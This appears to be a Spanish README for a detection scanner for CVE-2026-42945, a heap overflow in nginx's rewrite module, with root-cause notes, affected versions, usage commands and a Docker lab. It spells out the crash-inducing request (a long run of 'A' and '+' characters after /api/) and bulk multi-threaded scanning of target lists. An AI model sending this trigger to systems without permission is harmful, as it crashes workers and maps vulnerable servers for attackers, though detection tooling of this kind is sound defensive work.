
Script de detección de comportamiento para CVE-2026-42945 (NGINX Rift) — desbordamiento de montón en ngx_http_rewrite_module. Sin RCE, detección basada únicamente en crashes.
Script de detección por comportamiento para CVE-2026-42945 (NGINX Rift) — un desbordamiento de búfer en el montón en ngx_http_rewrite_module presente en nginx desde 2008.
Esta herramienta está destinada exclusivamente a pruebas de seguridad e investigación autorizadas. Ejecútela únicamente contra sistemas de su propiedad o para los que tenga permiso explícito por escrito para realizar pruebas. El uso no autorizado puede violar las leyes de delitos informáticos de su jurisdicción. El autor no se hace responsable de ningún uso indebido o daño causado por esta herramienta.
CVE-2026-42945 es un desbordamiento de búfer en el montón en el motor de scripts de reescritura de nginx (ngx_http_rewrite_module), introducido en la versión 0.6.27 (2008) y presente durante ~18 años.
El error proviene de un desajuste entre dos pasadas del motor de reescritura:
is_args = 0 → asigna un búfer pequeñois_args = 1 → llama a ngx_escape_uri, expandiendo cada byte escapable (como +) a 3× su tamaño → desborda el búfer del montónEsto permite la ejecución remota de código sin autenticación.
Versiones afectadas:
| Producto | Vulnerable | Corregido |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0+ |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Referencias:
Este script no intenta ejecutar RCE. Imita el flujo del PoC utilizando sockets sin procesar:
GET /api/<349×A><969×+> como petición HTTP parcialLa detección depende de provocar la caída de un proceso worker. El proceso maestro de nginx lo reiniciará inmediatamente, pero habrá una breve interrupción. Utilice esta herramienta con precaución en sistemas de producción.
# Single target (HTTP)
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 80
# Single target (HTTPS)
python3 detect-CVE-2026-42945.py --host example.com --port 443 --tls
# List of targets
python3 detect-CVE-2026-42945.py -l targets.txt
# With threading and output file
python3 detect-CVE-2026-42945.py -l targets.txt --threads 10 -o vulnerable.txt
# More attempts for unreliable targets
python3 detect-CVE-2026-42945.py --host 10.0.0.1 --port 8080 --tries 5
Formato de targets.txt — uno por línea:
http://example.com
https://example.com:8443
192.168.1.1
192.168.1.1:8080
Opciones:
--host Single target host
--port Port (default: 80, or 443 with --tls)
--tls Use TLS/HTTPS for single target
-l, --list File with list of targets
--tries Detection attempts per target (default: 3)
--threads Concurrent threads for list scan (default: 5)
-o, --output Save vulnerable targets to CSV file
[*] CVE-2026-42945 NGINX Rift Detection | targets=2 threads=5 tries=3
[*] http://192.168.1.1:80 - nginx/1.28.0
[*] http://192.168.1.2:8080 - nginx/1.31.0
[!!!] VULNERABLE | http://192.168.1.1:80 | nginx/1.28.0 | worker crash (trigger connection closed — worker respawned)
[+] http://192.168.1.2:8080 - not vulnerable (or timing miss, try --tries 5)
==================================================
[*] Scan complete. 2 targets scanned.
[!!!] 1 VULNERABLE target(s):
http://192.168.1.1:80 (nginx/1.28.0)
==================================================
El repositorio original incluye un entorno de laboratorio Docker:
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift
cd Nginx-Rift
chmod +x setup.sh && ./setup.sh
docker compose -f env/docker-compose.yml up -d
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 19321
MIT — consulte LICENSE
Investigación original de vulnerabilidad y PoC: DepthFirstDisclosures